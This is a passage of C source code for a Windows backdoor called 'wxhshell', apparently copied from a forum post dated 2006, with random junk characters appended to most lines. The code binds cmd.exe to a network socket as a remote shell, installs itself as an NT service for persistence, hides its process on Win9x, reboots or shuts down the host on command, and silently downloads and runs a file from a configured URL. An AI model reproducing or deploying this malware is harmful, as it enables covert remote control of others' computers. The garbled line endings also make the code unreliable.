  } Y4]USU!PA  
  else { zK`z*\  
kK]JN  
    switch(cmd[0]) { /xmUu0H$R  
  >1[Hk0 <x  
  // 帮助 Fa`/i v  
  case '?': { ;Ub;AqY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u%FG% j?C  
    break; &h.E B  
  } PT7L65  
  // 安装 E\2|  
  case 'i': { )J&1uMp{  
    if(Install()) FI1R7A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q(0V#kKC  
    else (B@:0}>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H tIl;E  
    break; Fv \yhR  
    } w) o^?9T  
  // 卸载 \hpD  
  case 'r': {  GU99!.$  
    if(Uninstall()) 6@`Y6>}$_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UxZT&x3=)}  
    else HE911 lc:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0Yeo"-  
    break; 5I ,5da  
    } Np>[mNmga  
  // 显示 wxhshell 所在路径 RkVU^N"  
  case 'p': { P+!j[X^  
    char svExeFile[MAX_PATH]; $gm`}3C<  
    strcpy(svExeFile,"\n\r"); rWKc,A[  
      strcat(svExeFile,ExeFile); |7Z7_YWs  
        send(wsh,svExeFile,strlen(svExeFile),0); @[M5$,"  
    break; v=15pW  
    } nlaJ  
  // 重启 {64od0:T  
  case 'b': { /an$4?":~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2 fp\s5%J}  
    if(Boot(REBOOT)) WyH2` xxX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Yh7N5XH,  
    else { OHixOI$O  
    closesocket(wsh); sr!m   
    ExitThread(0); *6%!i7kr  
    } f6x}M9xS%  
    break; iOI8'`mk  
    } $ BV4i$  
  // 关机 Gj]*_"T  
  case 'd': { hO3>Gl5<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z_vFf0  
    if(Boot(SHUTDOWN))  FVOR~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?;~ Z  
    else { }ie\-V  
    closesocket(wsh); zoYw[YP9  
    ExitThread(0); zCxr]md  
    } ]9]cef=h#  
    break; eyK=F:GO  
    } '&{`^l/ MH  
  // 获取shell |T:' G  
  case 's': { e1ru#'z  
    CmdShell(wsh); >gqM|-uY  
    closesocket(wsh); 1Wzm51RU  
    ExitThread(0); .JIn(  
    break; X PnN"Y"y  
  } ,B ]kX/W  
  // 退出 0`:B#ten  
  case 'x': { #w3cImgp2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  u!TVvc  
    CloseIt(wsh); L=W8Q8hf  
    break; [5$=G@ zf  
    } Q C?*O?~#  
  // 离开 SB R=  
  case 'q': { A7!!kR":  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :=u Ku'~  
    closesocket(wsh); c}K>#{YeB  
    WSACleanup(); A<esMDX  
    exit(1); FV|/o%XqK  
    break; Ht.0ug  
        } ^W-03  
  } I9GRSm;0<  
  } M$j]VZ  
_<x4/".}B3  
  // 提示信息 zb/w^~J_i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (orO=gST-/  
} X!r9  
  } __jFSa`at  
~Y^ UP  
  return; l!z0lh- J  
} e >W}3H5w0  
zRDBl02v$T  
// shell模块句柄 o)<c1\q  
int CmdShell(SOCKET sock) _+ z5~6>  
{ 3(|8gWQ  
STARTUPINFO si; 03aa>IO  
ZeroMemory(&si,sizeof(si)); V<f76U)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KCG-&p$v@s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nJH+P!AC  
PROCESS_INFORMATION ProcessInfo; k[3J5 4`g1  
char cmdline[]="cmd"; f(Jz*el S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V4Yw"J  
  return 0; h\GlyH~  
} h?H:r <  
-' 7I|r  
// 自身启动模式 :G?6Hl)~)  
int StartFromService(void) m}Z=m8  
{ >P*wK9|(  
typedef struct tm27J8wPzV  
{ 67zCil  
  DWORD ExitStatus; !Oj]. WQ  
  DWORD PebBaseAddress; F.:B_t  
  DWORD AffinityMask; {L 7O{:J  
  DWORD BasePriority; D&KD5_Sw  
  ULONG UniqueProcessId; iYE:o{  
  ULONG InheritedFromUniqueProcessId; 9(`d h  
}   PROCESS_BASIC_INFORMATION; 6\4~&+;wL  
}r`m(z$z  
PROCNTQSIP NtQueryInformationProcess; Cf#[E~24  
]<\Ft H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8:V:^`KaSs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >gNVL (  
`4V_I%lJ&  
  HANDLE             hProcess; $ K>.|\  
  PROCESS_BASIC_INFORMATION pbi; y#-mj,e  
% j4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &HdzbKO=  
  if(NULL == hInst ) return 0; I8=p_Ie  
S i[:l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E;7vGGf]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]mEY/)~7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MpZ #  
5v:c@n  
  if (!NtQueryInformationProcess) return 0; jr$]kLY  
~3YN;St-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MH;5gC@ `  
  if(!hProcess) return 0; hiKgV|ZD  
BfmSM9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RtZK2  
w#EP`aM2$=  
  CloseHandle(hProcess); dq$H^BB+>  
|7G +O+j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); </,RS5ukn  
if(hProcess==NULL) return 0; + k1|+zzS  
,r<!30~f  
HMODULE hMod; 1p#O(o  
char procName[255]; x| jBn}  
unsigned long cbNeeded; tE"aNA#=  
X"yj sk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1an?/j,  
s&-m!|P  
  CloseHandle(hProcess); tz0_S7h  
q.]>uBAQ?  
if(strstr(procName,"services")) return 1; // 以服务启动 xE+Nz5F  
1t"  
  return 0; // 注册表启动 <[9{Lg*D  
} o' U::  
M~ =Bln5  
// 主模块 pa1.+~)  
int StartWxhshell(LPSTR lpCmdLine) ZMs$C3  
{ $2l<X KT-  
  SOCKET wsl; W-9?|ei  
BOOL val=TRUE; !KiN} p  
  int port=0; l#!p?l  
  struct sockaddr_in door; 5$C4Ui{<E'  
BJzNh>-#=  
  if(wscfg.ws_autoins) Install(); >_9w4g_<  
[d+f#\ut  
port=atoi(lpCmdLine); -*;-T9  
Oy>u/g~  
if(port<=0) port=wscfg.ws_port; DQ'yFPE  
&p>VTD  
  WSADATA data; |)4Fe/!cJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R2uekpP  
R0>GM`{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1\G S"4~P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &_mOw.  
  door.sin_family = AF_INET; j*uc$hC"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `?Wy;5-  
  door.sin_port = htons(port); !1+yb.{\  
KjK.Sv{N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~";GH20  
closesocket(wsl); m0XdIC]s  
return 1; fJ \bm  
} $]eU'!2)  
^HpUbZpat)  
  if(listen(wsl,2) == INVALID_SOCKET) { xO2e>[W  
closesocket(wsl); :by EXe;3  
return 1; X%ii z  
} Oj6PmUK4  
  Wxhshell(wsl); <5oG[1j  
  WSACleanup(); ;| (_;d  
[l;9](\8O  
return 0; >z&|<H%  
,^]yU?eU  
} //9M~qHa"  
M'Ec:p=X"  
// 以NT服务方式启动 d@o1< Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `~${fs{-`/  
{ /yRP>CX~  
DWORD   status = 0; l/|bU9o /u  
  DWORD   specificError = 0xfffffff; E1p?v!   
2D,EWk/4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fTn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eC+S'Jgf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R $vo  
  serviceStatus.dwWin32ExitCode     = 0; xl.iI$P  
  serviceStatus.dwServiceSpecificExitCode = 0; .Sz<%d7XIQ  
  serviceStatus.dwCheckPoint       = 0; {*EA5;  
  serviceStatus.dwWaitHint       = 0; 2<18j  
[ArPoJt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GR@jn]50  
  if (hServiceStatusHandle==0) return; E_t ^osY&  
'`.bmiM  
status = GetLastError(); &YAw~1A  
  if (status!=NO_ERROR) P2lDi!q|  
{ ~0S_S+e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sj@B0R=Qo  
    serviceStatus.dwCheckPoint       = 0; ^zdZ"\x  
    serviceStatus.dwWaitHint       = 0; Z_Tu* F  
    serviceStatus.dwWin32ExitCode     = status; \EP<r  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0(+3w\_!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -ti nL(?3  
    return; Aqi9@BH  
  } ~_XJ v  
Q]9g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AOvn<Q  
  serviceStatus.dwCheckPoint       = 0; 9?4EM^ -  
  serviceStatus.dwWaitHint       = 0;  Fu@2gd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N{6 - rR  
} Qw&It  
?Q`u\G3.m  
// 处理NT服务事件,比如:启动、停止 IF"-{@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (]*otVJ  
{ ?`jh5Kw%y  
switch(fdwControl) Xbm\"g \  
{ s@Q, wa(  
case SERVICE_CONTROL_STOP: _FG?zE  
  serviceStatus.dwWin32ExitCode = 0; ^Q)&lxlxpx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ryk(Am<  
  serviceStatus.dwCheckPoint   = 0; G}MJWf Hl  
  serviceStatus.dwWaitHint     = 0; l$j/Ye]  
  { f$\gm+&hXE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qXI>x6?*  
  } JqX+vRY;dd  
  return; XeGtge/}T  
case SERVICE_CONTROL_PAUSE: =D1%-ym  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hchh2  
  break; KW1 7CJ@  
case SERVICE_CONTROL_CONTINUE: U_1syaY!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #q[k"x=c  
  break; "YUh4uZ~P  
case SERVICE_CONTROL_INTERROGATE: :fxG]uf-P  
  break; U9uy (KOW  
}; ups] k?4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2aROY2  
} 4T]n64Yid  
^ Tr )gik  
// 标准应用程序主函数 p3sR>ToJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6xFvu7L_c;  
{ ?8{x/y:  
bV'^0(Zv  
// 获取操作系统版本 K6C@YY(  
OsIsNt=GetOsVer();  X`REhvT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @wzzI 7}C  
u0Nag=cU  
  // 从命令行安装 g;|3n&  
  if(strpbrk(lpCmdLine,"iI")) Install(); _A[k&nO!&J  
Klw\  
  // 下载执行文件 jB"?iC.  
if(wscfg.ws_downexe) { 9ZKB,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3k5C;5  
  WinExec(wscfg.ws_filenam,SW_HIDE);  L=Pz0  
} 3,x|w  
n"p|tEK  
if(!OsIsNt) { Stw%OP@?  
// 如果时win9x,隐藏进程并且设置为注册表启动 a{oG[e   
HideProc(); 38I.1p9  
StartWxhshell(lpCmdLine); {6V;$KqH6  
} aGUKpYF  
else `i'72\(  
  if(StartFromService()) SCXH{8SS  
  // 以服务方式启动 {  S]"-x  
  StartServiceCtrlDispatcher(DispatchTable); tH7@oV;  
else 9e`.H0  
  // 普通方式启动 j,HUk,e^&  
  StartWxhshell(lpCmdLine); =.*+c\  
|H!kU.f]  
return 0; mBp3_E.t  
}
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只看该作者 1 发表于: 2006-10-10
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